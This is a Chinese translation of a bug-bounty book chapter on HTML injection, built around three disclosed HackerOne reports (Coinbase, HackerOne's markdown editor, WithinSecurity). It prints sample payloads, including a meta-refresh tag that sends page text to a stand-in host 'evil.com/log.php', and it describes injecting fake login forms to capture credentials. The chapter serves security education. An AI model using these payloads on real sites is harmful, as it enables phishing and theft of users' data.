🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
# 五、HTML 注入 > 作者:Peter Yaworski > 译者:[飞龙](https://github.com/) > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) ## 描述 超文本标记语言(HTML)注入有时也被称为虚拟污染。 这实际上是一个由站点造成的攻击,该站点允许恶意用户向其 Web 页面注入 HTML,并且没有合理处理用户输入。 换句话说,HTML 注入漏洞是由接收 HTML 引起的,通常通过一些之后会呈现在页面的表单输入。 这个漏洞是独立的,不同于注入 Javascript,VBscript 等。 由于 HTML 是用于定义网页结构的语言,如果攻击者可以注入 HTML,它们基本上可以改变浏览器呈现的内容。 有时,这可能会导致页面外观的完全改变,或在其他情况下,创建表单来欺骗用户,例如,如果你可以注入 HTML,你也许能够将 `<form>` 标签添加到页面,要求用户重新输入他们的用户名和密码。 然而,当提交此表单时,它实际上将信息发送给攻击者。 ## 示例 ### 1\. Coinbase 评论 难度:低 URL:`coinbase.com/apps` 报告链接:`https://hackerone.com/reports/104543` 报告日期:2015.12.10 奖金:$200 描述: 对于此漏洞,报告者识别出 Coinbase 在呈现文本时,实际上在解码 URI 的编码值。 对于那些不熟悉它的人(我在写这篇文章的时候),URI 中的字符是保留的或未保留的。 根据维基百科,保留字是有时有特殊意义的字符,如`/`和`&`。 未保留的字符是没有任何特殊意义的字符,通常只是字母。 因此,当字符被 URI 编码时,它将按照 ASCII 转换为其字节值,并以百分号(`%`)开头。 所以,`/`变成`%2F`,`&`成为`%26`。 另外,ASCII 是一种在互联网上最常见的编码,直到 UTF-8 出现,它是另一种编码类型。 现在,回到我们的例子,如果攻击者输入 HTML: ```html <h1>This is a test</h1> ``` Coinbase 实际上会将其渲染为纯文本,就像你上面看到的那样。但是,如果用户提交了 URL 编码字符,像这样: ``` %3C%68%31%3E%54%68%69%73%20%69%73%20%61%20%74%65%73%74%3C%2F%68%31%3E ``` Coinbase 实际上会解码该字符串,并渲染相应的字符,像这样: ``` This is a test ``` 使用它,报告者演示了如何提交带有用户名和密码字段的 HTML 表单,Coinbase 会渲染他。如果这个用户是恶意的,Coinbase 就会渲染一个表单,它将值提交给恶意网站来捕获凭据(假设人们填充并提交了表单)。 > 重要结论 > 当你测试一个站点时,要检查它如何处理不同类型的输入,包括纯文本和编码文本。特别要注意一些接受 URI 编码值,例如`%2f`,并渲染其解码值的站点,这里是`/`。虽然我们不知道这个例子中,黑客在想什么,它们可能尝试了 URI 编码限制字符,并注意到 Coinbase 会解码它们。之后他们更一步 URL 编码了所有字符。 > <http://quick-encoder.com/url> 是一个不错的 URL 编码器。你在使用时会注意到,它告诉你非限制字符不需要编码,并且提供了编码 URL 安全字符的选项。这就是获取用于 COinbase 的相同编码字符串的方式。 ### 2\. HackerOne 无意识 HTML 包含 难度:中 URL:hackerone.com 报告链接:<https://hackerone.com/reports/112935> 报告日期:2016.1.26 奖金:$500 描述: 在读完 Yahoo XSS 的描述(第七章示例四),我对文本编辑器中的 HTML 渲染测试产生了兴趣。这包含玩转 HackerOne 的 Markdown 编辑器,在图像标签中输入一些类似`ismap= "yyy=xxx"`和`"'test"`的东西。这样做的时候,我注意到,编辑器会在双引号里面包含一个单引号 - 这叫做悬置引号。 那个时候,我并没有真正理解它的含义。我知道如果你在某个地方注入另一个单引号,两个引号就会被浏览器一起解析,浏览器会将它们之间的内容视为一个 HTML 元素,例如: ```html <h1>This is a test</h1><p class="some class">some content</p>' ``` 使用这个例子,如果你打算注入一个 Meta 标签: ```html <meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text= ``` 浏览器会提交两个引号之间的任何东西。现在,结果是,这个已经在 HackerOne 的 [#110578](https://hackerone.com/reports/110578) 报告中由 [intidc](https://hackerone.com/intidc) 公开。看到它公开之后,我有一点失望。 根据 HackerOne,它们依赖于 Redcarpet(一个用于 Markdown 处理的 Ruby 库)的实现,来转义任何 Markdown 输入的 HTML 输出,随后它会通过 React 组件的`dangerouslySetInnerHTML`直接传递给 HTML DOM(也就是页面)。此外,React 是一个 JavaScript 库,可用于动态更新 Web 页面的内容,而不需要重新加载页面。 DOM 指代用于有效 HTML 以及 格式良好的 XML 的应用程序接口。本质上,根据维基百科,DOM 是跨平台并且语言无关的约定,用于展示 HTML、XHTML 和 XMl 中的对象,并与其交互。 在 HackerOne 的实现中,它们并没有合理转义 HTML 输出,这会导致潜在的漏洞。现在,也就是说,查看披露,我觉得我应该测试一下心得代码。我返回并测试了这个: ```md [test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"\ ") ``` 它会变成 ```html <a title="'test" ismap="alert xss" yyy="test" &#39; ref="http://www.toronotwebsi\ tedeveloper.com">test</a> ``` 你可以看到,我能够将一堆 HTML 注入到`<a>`标签中。所以,HackerOne 回滚了该修复版本,并重新开始转义单引号了。 > 重要结论 > 仅仅是代码被更新了,并不意味着一些东西修复了,而是还要测试一下。当部署了变更之后,同时意味着新的代码也可能存在漏洞。 > 此外,如果你觉得有什么不对,一定要深入挖掘。我知道一开始的尾后引号可能是个问题,但是我不知道如何利用它,所以我停止了。我本应该继续的。我实际上通过阅读 XSS Jigsaw 的 <blog.innerht.ml> 了解了 Meta 刷新利用(请见“资源”一张),但是这是后事了。 ### 3\. WithinSecurity 内容伪造 难度:低 URL:`withinsecurity.com/wp-login.php` 报告链接:`https://hackerone.com/reports/111094` 报告日期:2015.1.16 奖金:$250 描述: 虽然内容伪造实际上和 HTML 注入是不同的漏洞,我也将其包含在这里,因为它们拥有相似的本质,攻击者让一个站点渲染它们选择的内容。 WithinSecurity 构建在 WordPress 平台之上,它包含登录页面`withinsecurity.com/wp-login.php`(这个站点已经合并到了 HackerOne 的核心平台中)。攻击者注意到了在登录过程中,如果发生了错误,WithinSecurity 就会渲染`access_denied`,同时对应 URL 中的`error`参数: ``` https://withinsecurity.com/wp-login.php?error=access_denied ``` 注意到了这个,攻击者尝试修改`error`参数,并发现无论参数传递了什么值,都会被站点渲染为错误信息的一部分,并展示给用户。这里是所用的示例: ``` https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20%hacked ``` ![](https://img.kancloud.cn/f0/18/f01851df4a5caa32e87829e0f6bd887d_780x439.jpg) WithinSecurity 内容伪造 这里的关键是注意到 URL 中的参数在页面中渲染。虽然他们没有解释,我可以假设攻击者注意到了`access_denied`展示在了页面上,但是也包含在 URL 中。这里他们也报告了,漏洞也可以由一个简单的测试,修改`access_denied`参数来找到。 > 重要结论 > 时刻关注传递并且渲染为站点内容的 URL 参数。他们可能就是攻击者的机会,用于欺骗受害者来执行一些恶意动作。 ## 总结 HTML 注入向站点和开发者展示了漏洞,因为他可以用于误导用户,并且欺骗它们来提交一些敏感信息,或者浏览恶意网站。就像钓鱼攻击那样。 发现这些漏洞并不是通过仅仅提交 HTML,而是弄清楚站点如何渲染你的输入文本,像是 URI 编码的字符。而且,虽然内容伪造并不和 HTML 注入完全一样,它也是类似的,因为它涉及让一些输入在 HTML 页面中反映给受害者。攻击者应该仔细寻找机会,来操纵 URL 参数,并让它们在站点上渲染。